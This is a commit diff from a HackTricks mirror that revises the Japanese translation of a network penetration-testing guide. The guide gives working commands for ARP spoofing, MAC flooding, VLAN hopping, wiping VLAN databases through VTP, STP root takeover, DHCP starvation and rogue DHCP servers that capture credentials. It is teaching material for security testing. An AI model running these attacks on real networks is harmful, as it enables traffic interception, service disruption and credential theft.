mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
5eead85e70
commit
b334eea88e
@ -21,6 +21,7 @@
|
||||
- [Network Protocols Explained (ESP)](generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md)
|
||||
- [Nmap Summary (ESP)](generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md)
|
||||
- [Pentesting IPv6](generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md)
|
||||
- [Telecom Network Exploitation](generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md)
|
||||
- [WebRTC DoS](generic-methodologies-and-resources/pentesting-network/webrtc-dos.md)
|
||||
- [Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks](generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
- [Spoofing SSDP and UPnP Devices with EvilSSDP](generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)
|
||||
|
@ -1,4 +1,4 @@
|
||||
# Pentesting Network
|
||||
# ネットワークのペンテスト
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -11,7 +11,7 @@
|
||||
|
||||
### ICMP
|
||||
|
||||
これは、ホストが稼働しているかどうかを発見するための**最も簡単**で**最速**の方法です。\
|
||||
これは、ホストが稼働しているかどうかを発見するための**最も簡単**で**最速**な方法です。\
|
||||
いくつかの**ICMP**パケットを送信し、**応答を期待**することができます。最も簡単な方法は、**エコーリクエスト**を送信し、応答を期待することです。これを単純な`ping`を使用するか、**範囲**のために`fping`を使用して行うことができます。\
|
||||
また、**nmap**を使用して他のタイプのICMPパケットを送信することもできます(これにより、一般的なICMPエコーリクエスト-応答のフィルターを回避できます)。
|
||||
```bash
|
||||
@ -21,7 +21,7 @@ nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet
|
||||
```
|
||||
### TCPポート発見
|
||||
|
||||
あらゆる種類のICMPパケットがフィルタリングされていることが非常に一般的です。そのため、ホストが稼働しているかどうかを確認するためにできることは、**オープンポートを見つけること**だけです。各ホストには**65535ポート**がありますので、「大きな」スコープがある場合、**各ホストの各ポート**がオープンかどうかをテストすることは**できません**。それにはあまりにも多くの時間がかかります。\
|
||||
あらゆる種類のICMPパケットがフィルタリングされていることが非常に一般的です。そのため、ホストが稼働しているかどうかを確認するためにできることは、**オープンポートを見つけること**です。各ホストには**65535ポート**がありますので、「大きな」スコープがある場合、**各ホストの各ポート**がオープンかどうかをテストすることは**できません**。それにはあまりにも多くの時間がかかります。\
|
||||
そのため、必要なのは**高速ポートスキャナー**([masscan](https://github.com/robertdavidgraham/masscan))と、**最も使用されるポートのリスト**です:
|
||||
```bash
|
||||
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
|
||||
@ -31,21 +31,21 @@ masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5
|
||||
|
||||
### HTTP ポート発見
|
||||
|
||||
これは、**HTTP** **サービス**の発見に焦点を当てたいときに便利な TCP ポート発見です:
|
||||
これは、**HTTP** **サービス** の発見に焦点を当てたいときに便利な TCP ポート発見です:
|
||||
```bash
|
||||
masscan -p80,443,8000-8100,8443 199.66.11.0/24
|
||||
```
|
||||
### UDPポート発見
|
||||
|
||||
いくつかの**UDPポートが開いている**かどうかを確認して、**ホストにもっと注意を払う**べきかどうかを判断することもできます。UDPサービスは通常、通常の空のUDPプローブパケットに**データ**で**応答しない**ため、ポートがフィルタリングされているのか開いているのかを判断するのは難しいです。これを判断する最も簡単な方法は、実行中のサービスに関連するパケットを送信することです。そして、どのサービスが実行されているかわからないので、ポート番号に基づいて最も可能性の高いものを試すべきです:
|
||||
いくつかの**UDPポートが開いている**かどうかを確認して、**ホストにもっと注意を払うべきか**を判断することもできます。UDPサービスは通常、通常の空のUDPプローブパケットに**データ**で**応答しない**ため、ポートがフィルタリングされているのか開いているのかを判断するのは難しいです。これを判断する最も簡単な方法は、実行中のサービスに関連するパケットを送信することであり、どのサービスが実行されているかわからないため、ポート番号に基づいて最も可能性の高いものを試すべきです:
|
||||
```bash
|
||||
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
|
||||
# The -sV will make nmap test each possible known UDP service packet
|
||||
# The "--version-intensity 0" will make nmap only test the most probable
|
||||
```
|
||||
提案されたnmapのコマンドは、**/24**範囲内のすべてのホストで**上位1000のUDPポート**をテストしますが、これだけでも**>20分**かかります。**最速の結果**が必要な場合は、[**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner)を使用できます:`./udp-proto-scanner.pl 199.66.11.53/24` これにより、これらの**UDPプローブ**が**予想されるポート**に送信されます(/24範囲の場合、これにはわずか1分かかります):_DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
|
||||
提案されたnmapのコマンドは、**/24**範囲内のすべてのホストで**上位1000のUDPポート**をテストしますが、これだけでも**>20分**かかります。**最速の結果**が必要な場合は、[**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner)を使用できます:`./udp-proto-scanner.pl 199.66.11.53/24` これにより、**UDPプローブ**が**予想されるポート**に送信されます(/24範囲の場合、これにはわずか1分かかります):_DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
|
||||
|
||||
### SCTPポートディスカバリー
|
||||
### SCTPポートディスカバリ
|
||||
```bash
|
||||
#Probably useless, but it's pretty fast, why not try it?
|
||||
nmap -T4 -sY -n --open -Pn <IP/range>
|
||||
@ -103,13 +103,13 @@ alive6 <IFACE> # Send a pingv6 to multicast.
|
||||
|
||||
- **サブネットブロードキャストアドレス**に**ping**を送信すると、pingは**各ホスト**に到達し、彼らは**あなたに応答**する可能性があります: `ping -b 10.10.5.255`
|
||||
- **ネットワークブロードキャストアドレス**にpingを送信すると、**他のサブネット**内のホストを見つけることもできます: `ping -b 255.255.255.255`
|
||||
- `nmap`の`-PE`、`-PP`、`-PM`フラグを使用して、**ICMPv4エコー**、**タイムスタンプ**、および**サブネットマスクリクエスト**をそれぞれ送信しながらホスト発見を行います: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
|
||||
- `nmap`の`-PE`、`-PP`、`-PM`フラグを使用して、**ICMPv4エコー**、**タイムスタンプ**、および**サブネットマスクリクエスト**をそれぞれ送信し、ホスト発見を行います: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
|
||||
|
||||
### **Wake On Lan**
|
||||
|
||||
Wake On Lanは、**ネットワークメッセージ**を通じてコンピュータを**起動する**ために使用されます。コンピュータを起動するために使用されるマジックパケットは、**MAC Dst**が提供され、その後同じパケット内で**16回繰り返される**だけのパケットです。\
|
||||
この種のパケットは通常、**ethernet 0x0842**または**ポート9へのUDPパケット**で送信されます。\
|
||||
**[MAC]**が提供されない場合、パケットは**ブロードキャストイーサネット**に送信され(ブロードキャストMACが繰り返されるものになります)。
|
||||
この種のパケットは通常、**イーサネット0x0842**または**ポート9へのUDPパケット**で送信されます。\
|
||||
**[MAC]**が提供されていない場合、パケットは**ブロードキャストイーサネット**に送信され(ブロードキャストMACが繰り返されることになります)。
|
||||
```bash
|
||||
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
|
||||
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
|
||||
@ -143,7 +143,7 @@ UDPポートをスキャンするための2つのオプションがあります
|
||||
- **UDPパケット**を送信し、ポートが**閉じている**場合は_**ICMP到達不能**_の応答を確認します(いくつかのケースではICMPが**フィルタリング**されるため、ポートが閉じているか開いているかの情報は受け取れません)。
|
||||
- **サービス**からの応答を引き出すために**フォーマットされたデータグラム**を送信します(例:DNS、DHCP、TFTPなど、_nmap-payloads_にリストされています)。**応答**を受け取った場合、ポートは**開いています**。
|
||||
|
||||
**Nmap**は"-sV"を使用して両方のオプションを**混合**します(UDPスキャンは非常に遅いですが)、UDPスキャンはTCPスキャンよりも遅いことに注意してください:
|
||||
**Nmap**は"-sV"を使用して両方のオプションを**組み合わせます**(UDPスキャンは非常に遅いですが)、UDPスキャンはTCPスキャンよりも遅いことに注意してください:
|
||||
```bash
|
||||
# Check if any of the most common udp services is running
|
||||
udp-proto-scanner.pl <IP>
|
||||
@ -157,7 +157,7 @@ nmap -sU -sV --version-intensity 0 -n -T4 <IP>
|
||||
```
|
||||
### SCTPスキャン
|
||||
|
||||
**SCTP (ストリーム制御伝送プロトコル)** は、**TCP (伝送制御プロトコル)** および **UDP (ユーザーデータグラムプロトコル)** と一緒に使用されるように設計されています。その主な目的は、IPネットワーク上での電話データの輸送を促進することであり、**SS7 (信号システム7)** に見られる多くの信頼性機能を反映しています。**SCTP** は、IPネットワーク上でSS7信号を輸送することを目的とした**SIGTRAN**プロトコルファミリーのコアコンポーネントです。
|
||||
**SCTP (ストリーム制御伝送プロトコル)** は、**TCP (伝送制御プロトコル)** と **UDP (ユーザーデータグラムプロトコル)** と一緒に使用されるように設計されています。その主な目的は、IPネットワーク上での電話データの輸送を容易にすることであり、**SS7 (信号システム7)** に見られる多くの信頼性機能を反映しています。**SCTP** は、SS7信号をIPネットワーク上で輸送することを目的とした**SIGTRAN**プロトコルファミリーのコアコンポーネントです。
|
||||
|
||||
**SCTP** のサポートは、**IBM AIX**、**Oracle Solaris**、**HP-UX**、**Linux**、**Cisco IOS**、および **VxWorks** などのさまざまなオペレーティングシステムによって提供されており、通信およびネットワーキングの分野での広範な受け入れと有用性を示しています。
|
||||
|
||||
@ -192,7 +192,7 @@ IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
|
||||
```
|
||||
## スニッフィング
|
||||
|
||||
スニッフィングでは、キャプチャされたフレームやパケットをレビューすることで、IPレンジ、サブネットサイズ、MACアドレス、およびホスト名の詳細を学ぶことができます。ネットワークが誤って構成されているか、スイッチングファブリックがストレス下にある場合、攻撃者はパッシブネットワークスニッフィングを通じて機密情報をキャプチャすることができます。
|
||||
スニッフィングでは、キャプチャされたフレームやパケットをレビューすることで、IPレンジ、サブネットサイズ、MACアドレス、およびホスト名の詳細を学ぶことができます。ネットワークが誤って構成されている場合やスイッチングファブリックがストレス下にある場合、攻撃者はパッシブネットワークスニッフィングを通じて機密情報をキャプチャすることができます。
|
||||
|
||||
スイッチされたイーサネットネットワークが適切に構成されている場合、ブロードキャストフレームとあなたのMACアドレス宛てのデータのみが表示されます。
|
||||
|
||||
@ -246,23 +246,23 @@ arpspoof -t 192.168.1.2 192.168.1.1
|
||||
```
|
||||
### MAC Flooding - CAMオーバーフロー
|
||||
|
||||
スイッチのCAMテーブルをオーバーフローさせるために、異なるソースMACアドレスを持つ多数のパケットを送信します。CAMテーブルが満杯になると、スイッチはハブのように動作し始め(すべてのトラフィックをブロードキャストします)。
|
||||
スイッチのCAMテーブルをオーバーフローさせるために、異なるソースMACアドレスを持つ多数のパケットを送信します。CAMテーブルが満杯になると、スイッチはハブのように振る舞い始め(すべてのトラフィックをブロードキャストします)。
|
||||
```bash
|
||||
macof -i <interface>
|
||||
```
|
||||
この脆弱性は、最新のスイッチでは修正されています。
|
||||
この脆弱性は現代のスイッチで修正されています。
|
||||
|
||||
### 802.1Q VLAN / DTP 攻撃
|
||||
|
||||
#### ダイナミック トランクイング
|
||||
#### ダイナミック トランク
|
||||
|
||||
**ダイナミック トランクイング プロトコル (DTP)** は、リンク層プロトコルとして設計されており、自動的にトランクを設定するシステムを促進し、スイッチがトランクモード (Trunk) または非トランクモードのポートを自動的に選択できるようにします。**DTP** の展開は、しばしば最適でないネットワーク設計の指標と見なされ、必要な場合にのみ手動でトランクを設定し、適切な文書化を確保することの重要性を強調しています。
|
||||
**Dynamic Trunking Protocol (DTP)** は、トランクの自動システムを促進するために設計されたリンク層プロトコルであり、スイッチがトランクモード(Trunk)または非トランクモードのポートを自動的に選択できるようにします。**DTP** の展開は、しばしば最適でないネットワーク設計の指標と見なされ、必要な場合にのみトランクを手動で構成し、適切な文書化を確保することの重要性を強調します。
|
||||
|
||||
デフォルトでは、スイッチポートはダイナミックオートモードで動作するように設定されており、隣接するスイッチからの要求があればトランクイングを開始する準備が整っています。セキュリティ上の懸念は、ペンテスターまたは攻撃者がスイッチに接続し、DTP Desirable フレームを送信することでポートをトランクモードに強制的に切り替えるときに発生します。このアクションにより、攻撃者はSTPフレーム分析を通じてVLANを列挙し、仮想インターフェースを設定することでVLANセグメンテーションを回避できます。
|
||||
デフォルトでは、スイッチポートはダイナミックオートモードで動作するように設定されており、隣接するスイッチからの要求があればトランクを開始する準備が整っています。セキュリティ上の懸念は、ペンテスターまたは攻撃者がスイッチに接続し、DTP Desirableフレームを送信してポートをトランクモードに強制する場合に生じます。このアクションにより、攻撃者はSTPフレーム分析を通じてVLANを列挙し、仮想インターフェースを設定することでVLANセグメンテーションを回避できます。
|
||||
|
||||
多くのスイッチにデフォルトでDTPが存在することは、敵がスイッチの動作を模倣するために悪用でき、すべてのVLANのトラフィックにアクセスすることを可能にします。スクリプト [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) はインターフェースを監視するために使用され、スイッチがデフォルト、トランク、ダイナミック、オート、またはアクセスポートモードのいずれにあるかを明らかにします。アクセスポートモードはVLANホッピング攻撃に対して唯一免疫のある構成です。このツールはスイッチの脆弱性状態を評価します。
|
||||
多くのスイッチにデフォルトでDTPが存在することは、敵がスイッチの動作を模倣し、すべてのVLANのトラフィックにアクセスすることを可能にします。スクリプト[_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan)は、インターフェースを監視するために使用され、スイッチがデフォルト、トランク、ダイナミック、オート、またはアクセスポートモードのいずれにあるかを明らかにします。アクセスポートモードのみがVLANホッピング攻撃に対して免疫を持つ構成です。このツールは、スイッチの脆弱性状態を評価します。
|
||||
|
||||
ネットワークの脆弱性が特定された場合、_**Yersinia**_ ツールを使用してDTPプロトコルを介して「トランクイングを有効にする」ことができ、すべてのVLANからのパケットを観察することが可能になります。
|
||||
ネットワークの脆弱性が特定された場合、_**Yersinia**_ツールを使用してDTPプロトコルを介して「トランクを有効にする」ことができ、すべてのVLANからのパケットを観察することが可能になります。
|
||||
```bash
|
||||
apt-get install yersinia #Installation
|
||||
sudo apt install kali-linux-large #Another way to install it in Kali
|
||||
@ -275,7 +275,7 @@ yersinia -G #For graphic mode
|
||||
```
|
||||
.png>)
|
||||
|
||||
VLANを列挙するために、スクリプト[**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**を使用してDTP Desirableフレームを生成することも可能です。**いかなる状況でもスクリプトを中断しないでください。3秒ごとにDTP Desirableを注入します。** **スイッチ上で動的に作成されたトランクチャネルは5分間のみ存在します。5分後、トランクは切断されます。**
|
||||
VLANを列挙するために、スクリプト[**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**を使用してDTP Desirableフレームを生成することも可能です。**決してスクリプトを中断しないでください。3秒ごとにDTP Desirableを注入します。** **スイッチ上で動的に作成されたトランクチャネルは5分間のみ存在します。5分後、トランクは切断されます。**
|
||||
```
|
||||
sudo python3 DTPHijacking.py --interface eth0
|
||||
```
|
||||
@ -287,7 +287,7 @@ STPフレームを分析することで、**VLAN 30とVLAN 60の存在につい
|
||||
|
||||
#### 特定のVLANへの攻撃
|
||||
|
||||
VLAN IDとIP値を知ったら、**特定のVLANを攻撃するために仮想インターフェースを設定できます**。\
|
||||
VLAN IDとIP値を知っている場合、**特定のVLANを攻撃するために仮想インターフェースを設定できます**。\
|
||||
DHCPが利用できない場合は、_ifconfig_を使用して静的IPアドレスを設定します。
|
||||
```
|
||||
root@kali:~# modprobe 8021q
|
||||
@ -321,15 +321,15 @@ sudo vconfig add eth0 30
|
||||
sudo ip link set eth0.30 up
|
||||
sudo dhclient -v eth0.30
|
||||
```
|
||||
#### Automatic VLAN Hopper
|
||||
#### 自動VLANホッパー
|
||||
|
||||
議論された攻撃である**Dynamic Trunkingと仮想インターフェースの作成、他のVLAN内のホストの発見**は、ツールによって**自動的に実行されます**: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
|
||||
**ダイナミックトランキングと仮想インターフェースの作成、他のVLAN内のホストの発見**の攻撃は、ツールによって**自動的に実行されます**: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
|
||||
|
||||
#### Double Tagging
|
||||
#### ダブルタグ付け
|
||||
|
||||
攻撃者が**被害者ホストのMAC、IP、およびVLAN IDの値**を知っている場合、彼は**フレームをダブルタグ**し、指定されたVLANと被害者のVLANでパケットを送信しようとすることができます。**被害者は攻撃者に接続できないため、攻撃者にとって最良の選択肢はUDPを介して通信することです**。これにより、いくつかの興味深いアクションを実行できるプロトコル(SNMPなど)と通信できます。
|
||||
攻撃者が**被害者ホストのMAC、IP、VLAN IDの値**を知っている場合、彼は**フレームにダブルタグを付ける**ことを試み、その指定されたVLANと被害者のVLANを使用してパケットを送信することができます。**被害者は攻撃者と接続できないため、攻撃者にとって最良の選択肢はUDPを介して通信すること**です。これにより、いくつかの興味深いアクションを実行できるプロトコル(SNMPなど)にアクセスできます。
|
||||
|
||||
攻撃者の別のオプションは、**攻撃者が制御し、被害者がアクセス可能なIPを偽装してTCPポートスキャンを実行することです**(おそらくインターネットを介して)。その後、攻撃者は、被害者からのパケットを受信した場合、彼が所有する2番目のホストでスニッフィングすることができます。
|
||||
攻撃者の別のオプションは、**攻撃者が制御し、被害者がアクセス可能なIPを偽装してTCPポートスキャンを実行すること**です(おそらくインターネットを介して)。その後、攻撃者は自分が所有する2番目のホストで、被害者からのパケットを受信しているかどうかをスニッフィングすることができます。
|
||||
|
||||
.png>)
|
||||
|
||||
@ -350,30 +350,30 @@ lateral-vlan-segmentation-bypass.md
|
||||
|
||||
#### Layer 3 Private VLAN Bypass
|
||||
|
||||
ゲスト無線ネットワークなどの特定の環境では、**ポートアイソレーション(プライベートVLANとも呼ばれる)**設定が実装され、無線アクセスポイントに接続されたクライアント同士が直接通信するのを防ぎます。しかし、これらのアイソレーション対策を回避できる技術が特定されています。この技術は、ネットワークACLの欠如または不適切な設定を利用し、IPパケットがルーターを通じて同じネットワーク内の別のクライアントに到達できるようにします。
|
||||
ゲスト無線ネットワークなどの特定の環境では、**ポートアイソレーション(プライベートVLANとも呼ばれます)**設定が実装され、無線アクセスポイントに接続されたクライアント同士が直接通信するのを防ぎます。しかし、これらのアイソレーション対策を回避できる技術が特定されています。この技術は、ネットワークACLの欠如または不適切な構成を利用し、IPパケットがルーターを通じて同じネットワーク内の別のクライアントにルーティングされることを可能にします。
|
||||
|
||||
攻撃は、**宛先クライアントのIPアドレスを持ち、ルーターのMACアドレスを使用したパケットを作成することによって実行されます**。これにより、ルーターは誤ってパケットをターゲットクライアントに転送します。このアプローチは、被害者がアクセス可能なホストを制御する能力を利用してセキュリティの欠陥を悪用するダブルタグ攻撃で使用されるものに似ています。
|
||||
攻撃は、**宛先クライアントのIPアドレスを持ち、ルーターのMACアドレスを持つパケットを作成することによって実行されます**。これにより、ルーターは誤ってパケットをターゲットクライアントに転送します。このアプローチは、被害者にアクセス可能なホストを制御する能力を利用してセキュリティの欠陥を悪用するダブルタグ攻撃で使用されるものに似ています。
|
||||
|
||||
**攻撃の主要なステップ:**
|
||||
|
||||
1. **パケットの作成:** ターゲットクライアントのIPアドレスを含むように特別に作成されたパケット。
|
||||
2. **ルーターの動作を悪用:** 作成されたパケットがルーターに送信され、設定によりパケットがターゲットクライアントにリダイレクトされ、プライベートVLAN設定によるアイソレーションをバイパスします。
|
||||
1. **パケットの作成:** ターゲットクライアントのIPアドレスを含むように特別に作成されたパケットを作成しますが、ルーターのMACアドレスを使用します。
|
||||
2. **ルーターの動作を悪用:** 作成されたパケットはルーターに送信され、構成によりパケットがターゲットクライアントにリダイレクトされ、プライベートVLAN設定によるアイソレーションをバイパスします。
|
||||
|
||||
### VTP Attacks
|
||||
|
||||
VTP(VLANトランキングプロトコル)はVLAN管理を集中化します。VLANデータベースの整合性を維持するためにリビジョン番号を利用し、変更があるとこの番号が増加します。スイッチは、より高いリビジョン番号の設定を採用し、自身のVLANデータベースを更新します。
|
||||
VTP(VLANトランキングプロトコル)はVLAN管理を集中化します。VLANデータベースの整合性を維持するためにリビジョン番号を利用し、変更があるとこの番号が増加します。スイッチは、より高いリビジョン番号の構成を採用し、自身のVLANデータベースを更新します。
|
||||
|
||||
#### VTP Domain Roles
|
||||
|
||||
- **VTPサーバー:** VLANを管理—作成、削除、変更します。ドメインメンバーにVTPアナウンスをブロードキャストします。
|
||||
- **VTPクライアント:** VTPアナウンスを受信し、自身のVLANデータベースを同期します。この役割はローカルVLAN設定の変更が制限されています。
|
||||
- **VTPサーバー:** VLANを管理します—作成、削除、変更します。ドメインメンバーにVTPアナウンスをブロードキャストします。
|
||||
- **VTPクライアント:** VTPアナウンスを受信し、自身のVLANデータベースを同期します。この役割はローカルVLAN構成の変更が制限されています。
|
||||
- **VTPトランスペアレント:** VTP更新に関与せず、VTPアナウンスを転送します。VTP攻撃の影響を受けず、リビジョン番号は常にゼロのままです。
|
||||
|
||||
#### VTP Advertisement Types
|
||||
|
||||
- **サマリーアナウンス:** VTPサーバーによって300秒ごとにブロードキャストされ、重要なドメイン情報を含みます。
|
||||
- **サブセットアナウンス:** VLAN設定変更後に送信されます。
|
||||
- **アナウンスリクエスト:** VTPクライアントによってサマリーアナウンスを要求するために発行され、通常はより高い設定リビジョン番号を検出した際に行われます。
|
||||
- **サブセットアナウンス:** VLAN構成変更後に送信されます。
|
||||
- **アナウンスリクエスト:** VTPクライアントによってサマリーアナウンスを要求するために発行され、通常はより高い構成リビジョン番号を検出した際に行われます。
|
||||
|
||||
VTPの脆弱性は、VTPアナウンスがトランクポートを通じてのみ循環するため、トランクポートを介してのみ悪用可能です。DTP攻撃後のシナリオはVTPに移行する可能性があります。Yersiniaのようなツールは、VLANデータベースを消去し、ネットワークを効果的に混乱させることを目的としたVTP攻撃を支援できます。
|
||||
|
||||
@ -381,7 +381,7 @@ VTPの脆弱性は、VTPアナウンスがトランクポートを通じての
|
||||
````bash
|
||||
%% yersinia -G # Launch Yersinia in graphical mode ```
|
||||
````
|
||||
Yersiniaのグラフィカルモードでは、VLANデータベースを削除するためにすべてのVTP VLANを削除するオプションを選択します。
|
||||
Yersiniaのグラフィカルモードで、VLANデータベースを削除するためにすべてのVTP VLANを削除するオプションを選択します。
|
||||
|
||||
### STP攻撃
|
||||
|
||||
@ -404,8 +404,8 @@ yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
|
||||
```
|
||||
#### **STPルート攻撃**
|
||||
|
||||
攻撃者はスイッチの動作を模倣してネットワークのSTPルートになります。これにより、より多くのデータが彼を通過します。これは、2つの異なるスイッチに接続されているときに興味深いです。\
|
||||
これは、**priority**値が実際のルートスイッチの実際の優先度よりも低いと述べるBPDUs CONFパケットを送信することによって行われます。
|
||||
攻撃者はスイッチの動作を模倣してネットワークのSTPルートになります。これにより、より多くのデータが彼を通過します。これは、異なる2つのスイッチに接続されているときに興味深いです。\
|
||||
これは、実際のルートスイッチの実際の優先度よりも**優先度**値が低いと伝えるBPDUs CONFパケットを送信することによって行われます。
|
||||
```bash
|
||||
yersinia stp -attack 4 #Behaves like the root switch
|
||||
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
|
||||
@ -417,11 +417,11 @@ ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpack
|
||||
```
|
||||
### CDP攻撃
|
||||
|
||||
CISCO Discovery Protocol (CDP)は、CISCOデバイス間の通信に不可欠であり、**互いを識別し、設定の詳細を共有する**ことを可能にします。
|
||||
CISCO Discovery Protocol (CDP) は、CISCOデバイス間の通信に不可欠であり、デバイスが**互いを識別し、設定詳細を共有する**ことを可能にします。
|
||||
|
||||
#### パッシブデータ収集 <a href="#id-0e0f" id="id-0e0f"></a>
|
||||
|
||||
CDPはすべてのポートを通じて情報をブロードキャストするように設定されており、これがセキュリティリスクにつながる可能性があります。攻撃者はスイッチポートに接続すると、**Wireshark**、**tcpdump**、または**Yersinia**のようなネットワークスニファーを展開することができます。この行動は、ネットワークデバイスに関する機密データ、モデルや実行中のCisco IOSのバージョンを明らかにする可能性があります。攻撃者は、特定のCisco IOSバージョンの脆弱性をターゲットにするかもしれません。
|
||||
CDPはすべてのポートを通じて情報をブロードキャストするように設定されており、これがセキュリティリスクにつながる可能性があります。攻撃者はスイッチポートに接続すると、**Wireshark**、**tcpdump**、または**Yersinia**のようなネットワークスニファーを展開することができます。この行動は、ネットワークデバイスに関する機密データ、例えばそのモデルや実行中のCisco IOSのバージョンを明らかにする可能性があります。攻撃者は、特定のCisco IOSバージョンにおける脆弱性をターゲットにするかもしれません。
|
||||
|
||||
#### CDPテーブルフラッディングの誘発 <a href="#id-0d6a" id="id-0d6a"></a>
|
||||
|
||||
@ -446,16 +446,16 @@ VoIP電話は、IoTデバイスとますます統合されており、特別な
|
||||
|
||||
ツール[**voiphopper**](http://voiphopper.sourceforge.net)は、さまざまな環境(Cisco、Avaya、Nortel、Alcatel-Lucent)でVoIP電話をエミュレートするように設計されています。CDP、DHCP、LLDP-MED、802.1Q ARPなどのプロトコルを使用して、音声ネットワークのVLAN IDを発見します。
|
||||
|
||||
**VoIP Hopper**は、Cisco Discovery Protocol(CDP)用の3つのモードを提供します:
|
||||
**VoIP Hopper**は、Cisco Discovery Protocol(CDP)用に3つのモードを提供します:
|
||||
|
||||
1. **スニフモード** (`-c 0`): ネットワークパケットを分析してVLAN IDを特定します。
|
||||
2. **スプーフモード** (`-c 1`): 実際のVoIPデバイスのパケットを模倣したカスタムパケットを生成します。
|
||||
3. **事前作成パケットモード** (`-c 2`): 特定のCisco IP電話モデルのパケットと同一のパケットを送信します。
|
||||
1. **スニフモード**(`-c 0`):ネットワークパケットを分析してVLAN IDを特定します。
|
||||
2. **スプーフモード**(`-c 1`):実際のVoIPデバイスのパケットを模倣したカスタムパケットを生成します。
|
||||
3. **事前作成パケットモード**(`-c 2`):特定のCisco IP電話モデルのパケットと同一のパケットを送信します。
|
||||
|
||||
速度のために推奨されるモードは3番目です。次のことを指定する必要があります:
|
||||
|
||||
- 攻撃者のネットワークインターフェース(`-i`パラメータ)。
|
||||
- エミュレートされるVoIPデバイスの名前(`-E`パラメータ)、Ciscoの命名形式に従うこと(例:SEPの後にMACアドレス)。
|
||||
- エミュレートされるVoIPデバイスの名前(`-E`パラメータ)、Ciscoの命名形式(例:SEPの後にMACアドレス)に従います。
|
||||
|
||||
企業環境では、既存のVoIPデバイスを模倣するために、次のことを行うことがあります:
|
||||
|
||||
@ -499,26 +499,26 @@ yersinia dhcp -attack 3 #More parameters are needed
|
||||
```
|
||||
より自動化された方法は、ツール [DHCPing](https://github.com/kamorin/DHCPig) を使用することです。
|
||||
|
||||
前述のDoS攻撃を使用して、クライアントが環境内で新しいリースを取得するよう強制し、正当なサーバーを枯渇させて応答しなくすることができます。したがって、正当なサーバーが再接続しようとするときに、**次の攻撃で言及されている悪意のある値を提供できます**。
|
||||
前述のDoS攻撃を使用して、クライアントが環境内で新しいリースを取得するよう強制し、正当なサーバーを枯渇させて応答しなくすることができます。したがって、正当なサーバーが再接続しようとするときに、**次の攻撃で言及される悪意のある値を提供できます**。
|
||||
|
||||
#### 悪意のある値を設定する
|
||||
|
||||
不正なDHCPサーバーは、`/usr/share/responder/DHCP.py` にあるDHCPスクリプトを使用して設定できます。これは、トラフィックを悪意のあるサーバーにリダイレクトすることによって、HTTPトラフィックや認証情報をキャプチャするなどのネットワーク攻撃に役立ちます。ただし、不正なゲートウェイを設定することは、クライアントからのアウトバウンドトラフィックのみをキャプチャするため、実際のゲートウェイからの応答を見逃すため、効果が薄いです。代わりに、不正なDNSまたはWPADサーバーを設定することが、より効果的な攻撃のために推奨されます。
|
||||
不正なDHCPサーバーは、`/usr/share/responder/DHCP.py`にあるDHCPスクリプトを使用して設定できます。これは、トラフィックを悪意のあるサーバーにリダイレクトすることによって、HTTPトラフィックや認証情報をキャプチャするようなネットワーク攻撃に役立ちます。ただし、不正なゲートウェイを設定することは、クライアントからのアウトバウンドトラフィックのみをキャプチャするため、実際のゲートウェイからの応答を見逃すため、効果が薄いです。代わりに、不正なDNSまたはWPADサーバーを設定することが、より効果的な攻撃のために推奨されます。
|
||||
|
||||
以下は、不正なDHCPサーバーを構成するためのコマンドオプションです:
|
||||
|
||||
- **私たちのIPアドレス(ゲートウェイ広告)**: `-i 10.0.0.100` を使用して、あなたのマシンのIPをゲートウェイとして広告します。
|
||||
- **ローカルDNSドメイン名**: 任意で、`-d example.org` を使用してローカルDNSドメイン名を設定します。
|
||||
- **元のルーター/ゲートウェイIP**: `-r 10.0.0.1` を使用して、正当なルーターまたはゲートウェイのIPアドレスを指定します。
|
||||
- **プライマリDNSサーバーIP**: `-p 10.0.0.100` を使用して、あなたが制御する不正なDNSサーバーのIPアドレスを設定します。
|
||||
- **セカンダリDNSサーバーIP**: 任意で、`-s 10.0.0.1` を使用してセカンダリDNSサーバーIPを設定します。
|
||||
